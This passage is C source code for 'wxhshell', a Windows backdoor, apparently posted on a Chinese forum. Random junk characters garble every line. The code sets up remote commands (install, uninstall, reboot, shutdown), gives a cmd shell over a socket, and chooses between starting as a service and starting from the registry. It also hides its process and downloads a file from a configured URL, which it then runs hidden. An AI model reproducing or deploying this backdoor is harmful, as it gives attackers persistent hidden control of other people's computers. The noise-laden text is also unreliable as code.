    switch(cmd[0]) { 9_5Fl,u z  
  Tj<W4+p{  
  // 帮助 Ko>pwhR}  
  case '?': { }`h)+Im=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^3*/x%A,g  
    break; #f\U3p  
  } vZhN% DfY  
  // 安装 nFX8:fZ$>  
  case 'i': { \iSaxwU_  
    if(Install()) ]\ sBl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h&NcN-["  
    else wrac\.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UT==x<  
    break; I/pavh  
    } 1i$9x$4~E  
  // 卸载 na(@`(j[  
  case 'r': { bn~=d@'  
    if(Uninstall()) 6_^ u}me  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m`I6gnLj  
    else HGh`O\f8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |XLx6E2F  
    break; ~y$B #.l  
    } -81usu&NH  
  // 显示 wxhshell 所在路径 O292JA  
  case 'p': { V78QV3  
    char svExeFile[MAX_PATH]; O}Fp\"  
    strcpy(svExeFile,"\n\r"); &r/a\t,8n  
      strcat(svExeFile,ExeFile); a^,6[  
        send(wsh,svExeFile,strlen(svExeFile),0); $X WJxQRUv  
    break; azS"*#r6}  
    } `5=0f}E  
  // 重启 e~i ?E  
  case 'b': { g5; W6QX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f|1y?w?I  
    if(Boot(REBOOT)) `k a!`nfo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2|qE|3&{'  
    else { w2@ `0  
    closesocket(wsh); ~{=+dQ  
    ExitThread(0); ]lXTIej`dy  
    } Q<;f-9q @  
    break; f+Put  
    } UF|v=|*{#  
  // 关机 Jc-0.^]E}  
  case 'd': { r2M._}bF  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]uWx<aD B  
    if(Boot(SHUTDOWN)) 6wqq"6w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b U-Cd  
    else { )o SFHf  
    closesocket(wsh); <&t^&6k  
    ExitThread(0); }ytc oIuLf  
    } m!$"-nh9  
    break; ]9l=geZd%;  
    } c03A_2%  
  // 获取shell 4 "@BbVYR  
  case 's': { ,fT5I6l  
    CmdShell(wsh); S^c5  
    closesocket(wsh); RI')iz?  
    ExitThread(0); vaxNF%^~yN  
    break; _$9<N5F.,o  
  } 1Ty{k^%  
  // 退出 N|h`}*:x=  
  case 'x': { y9=/kFPRm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); QG4#E$ c  
    CloseIt(wsh); oi::/W|A+  
    break; p6A"_b^  
    } ZgcA[P  
  // 离开 "6gu6f  
  case 'q': { )z=`,\&p:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S=0zP36kH:  
    closesocket(wsh); ;k9s@e#a  
    WSACleanup(); ]RML;]^  
    exit(1); _o8il3  
    break; yLW iY~Fd  
        } Vx~[;*{,C9  
  } xzyV| (  
  } 5dXC  
EZ8Ih,j9  
  // 提示信息 W&A22jO.1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bO>Mvf  
} 3R !Mfz*  
  } V/.Y]dN5  
51*o&:eim  
  return; l=Jbuc  
} WID4{>G2  
u#/Y<1gn  
// shell模块句柄 %F3M\)jU  
int CmdShell(SOCKET sock) %A,4vLe~6  
{ {-PD3 [f"  
STARTUPINFO si; }mxy6m ,  
ZeroMemory(&si,sizeof(si)); 17a'C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KA0Ui,q3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w[^s) 1  
PROCESS_INFORMATION ProcessInfo; 1,p7Sl^h  
char cmdline[]="cmd"; |>gya&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^+Ie   
  return 0; #VgPg5k.<  
} Dr^#e  
+#"CgZ]  
// 自身启动模式 [;7&E{,C  
int StartFromService(void) $A`D p{e"  
{ Xjt/ G):L  
typedef struct =nh/w#  
{ &y[Od{=  
  DWORD ExitStatus; wcspqC"_  
  DWORD PebBaseAddress; c*'D  
  DWORD AffinityMask; po}Jwx!  
  DWORD BasePriority; HpiP"Sl  
  ULONG UniqueProcessId; C:"Al-  
  ULONG InheritedFromUniqueProcessId; y[UTuFv~Q  
}   PROCESS_BASIC_INFORMATION; npkE [JE:  
yEJ}!/  
PROCNTQSIP NtQueryInformationProcess; XkHO=  
il(dVW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c`yLn %Of%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }oIA*:5  
ZZL.&Ho  
  HANDLE             hProcess; G'^Qi}o  
  PROCESS_BASIC_INFORMATION pbi; R*`A',]:9  
th}Q`vg0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6 D_3Hwrs  
  if(NULL == hInst ) return 0; c:.k2u  
3fgVvt-2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h2# G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h.gj4/g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `f,SY  
Ob$| IH8.  
  if (!NtQueryInformationProcess) return 0; ng(STvSh:  
(]n^_G#-$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8_US.52V  
  if(!hProcess) return 0; dE=4tqv-r  
]R~K-cN`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _w/w~;7  
ijOUv6=-  
  CloseHandle(hProcess); nsQx\Tnhx  
~5<-&Dyp7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I,OEor6%R(  
if(hProcess==NULL) return 0; h[b;_>7  
O~N0JK_>  
HMODULE hMod; MKq:=^w  
char procName[255]; 7dhip  
unsigned long cbNeeded; PJA%aRP,:  
qn}4PVn4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g]PmmK_L  
`bw>.Ay  
  CloseHandle(hProcess); Squ'd  
ZT:&j4A|0  
if(strstr(procName,"services")) return 1; // 以服务启动 FGo{6'K(:  
U6;,<-bL  
  return 0; // 注册表启动 bx`s;r=  
} tn&~~G~#  
 3=@94i  
// 主模块 5TqB&GP0  
int StartWxhshell(LPSTR lpCmdLine) :QT0[P5O  
{ H,bYzWsrPo  
  SOCKET wsl; ^vPM\qP#g  
BOOL val=TRUE; 9(g?{6v|  
  int port=0; &i179Qg!  
  struct sockaddr_in door; xs y5"  
&,/_"N"?D  
  if(wscfg.ws_autoins) Install(); #!(OTe L  
6}zargu(;  
port=atoi(lpCmdLine); ,) ^4H>~V  
OBp<A+a  
if(port<=0) port=wscfg.ws_port; BO)K=gl;8  
|giV<Sj  
  WSADATA data; $a|C/s+}7>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xp<\7m_N  
CBz$N)f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *Y8nea^$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T|RW-i3  
  door.sin_family = AF_INET; oKjQ? 4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \6~(# y  
  door.sin_port = htons(port); !8S $tk  
zXWf($^&E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5xKo(XNp  
closesocket(wsl); OP>rEUtj  
return 1; 4d~Sn81xW  
} </~!5x62Oy  
VL4ErOoZ  
  if(listen(wsl,2) == INVALID_SOCKET) { Wm_:1~  
closesocket(wsl); f'._{"  
return 1; w ryjs!  
} "l0z?u  
  Wxhshell(wsl); j_ i/h "  
  WSACleanup(); faH113nc  
r/E'#5 Q  
return 0; qk!")t  
#Duz|F+%  
} hZ6CiEJB  
ig|o l*~  
// 以NT服务方式启动 _ T ;+*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !@j5yYf  
{ w$%d"Jm#X  
DWORD   status = 0; &cy @Be}|T  
  DWORD   specificError = 0xfffffff; 0RmQfD>  
O%feBe  
  serviceStatus.dwServiceType     = SERVICE_WIN32; LA?h+)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; DMO8~5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NbG`v@yH  
  serviceStatus.dwWin32ExitCode     = 0; \0. c_  
  serviceStatus.dwServiceSpecificExitCode = 0; F#d`nZ=M  
  serviceStatus.dwCheckPoint       = 0; !U,W; R  
  serviceStatus.dwWaitHint       = 0; l Q/u#c$n  
hS(}<B{x!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (prqo1e@  
  if (hServiceStatusHandle==0) return; :2^j/  
6yZ!K  
status = GetLastError(); 2rK%fV53b  
  if (status!=NO_ERROR) 6%'bo`S#  
{ |oCE7'BaP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ';<gc5EK  
    serviceStatus.dwCheckPoint       = 0; }?^V9K-  
    serviceStatus.dwWaitHint       = 0; ]7W !  
    serviceStatus.dwWin32ExitCode     = status; cbsU!8  
    serviceStatus.dwServiceSpecificExitCode = specificError; |-kU]NJFR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }AdA? :7A  
    return; 9[# 9cv  
  } #{97<sU\  
yn&+ >{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z :51Q  
  serviceStatus.dwCheckPoint       = 0; %-u Ra\  
  serviceStatus.dwWaitHint       = 0; 9cV;W\ Tw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W!.F\H,(  
} cO}`PD$i  
gzdR|IBa  
// 处理NT服务事件,比如:启动、停止 ig:E` Fe@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X'BFR]cm  
{ ca~nfo  
switch(fdwControl) @nIoYT='  
{ T.m*LM  
case SERVICE_CONTROL_STOP: '#JC 6#X   
  serviceStatus.dwWin32ExitCode = 0; M A9Oi(L)K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !8'mIXZ$  
  serviceStatus.dwCheckPoint   = 0; B[2 qI7D$  
  serviceStatus.dwWaitHint     = 0; q o,uOi  
  { LRe2wT>I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +v$,/~$tI  
  } 0A$x'pU)  
  return; k.UQT^.  
case SERVICE_CONTROL_PAUSE: >SS YYy  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; NFDh!HUm  
  break; 1$1s 0yg  
case SERVICE_CONTROL_CONTINUE: ?"23XKe  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vd0;33$L  
  break; ,LD[R1TU8  
case SERVICE_CONTROL_INTERROGATE: 3 *0/<1f1!  
  break; c& &^D o  
}; 'x'.[=;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P'wn$WE[n\  
} (A@~]N ,U/  
Z+# =]Kw)  
// 标准应用程序主函数 ^Bkwbj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `R\aNgCS}  
{ S(bYN[U  
RZKdh}B?\  
// 获取操作系统版本 2h Wtpus  
OsIsNt=GetOsVer(); h?cf)L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fU?P__zU4  
e15_$M;RW  
  // 从命令行安装 Atdr|2  
  if(strpbrk(lpCmdLine,"iI")) Install(); $?voQ&  
="yN4+0-p  
  // 下载执行文件 m*'^*#  
if(wscfg.ws_downexe) { "YW&,X5R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A:{PPjs%LA  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6 GL.bS  
} P;B<R"  
J`uO~W"  
if(!OsIsNt) { sR(or=ub~  
// 如果时win9x,隐藏进程并且设置为注册表启动 m6'VMW  
HideProc(); s"tyCDc.c  
StartWxhshell(lpCmdLine);  12W`7  
} W Z!?O0.A  
else .O h4b5  
  if(StartFromService()) Etv!:\\[  
  // 以服务方式启动 B;[ai?@c(_  
  StartServiceCtrlDispatcher(DispatchTable); -eZ$wn![  
else >a6{y   
  // 普通方式启动 ape \zZCV  
  StartWxhshell(lpCmdLine); qM~;Q6{v  
+>v3&[lGv  
return 0; !|\$|m<n  
}
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只看该作者 1 发表于: 2006-10-10
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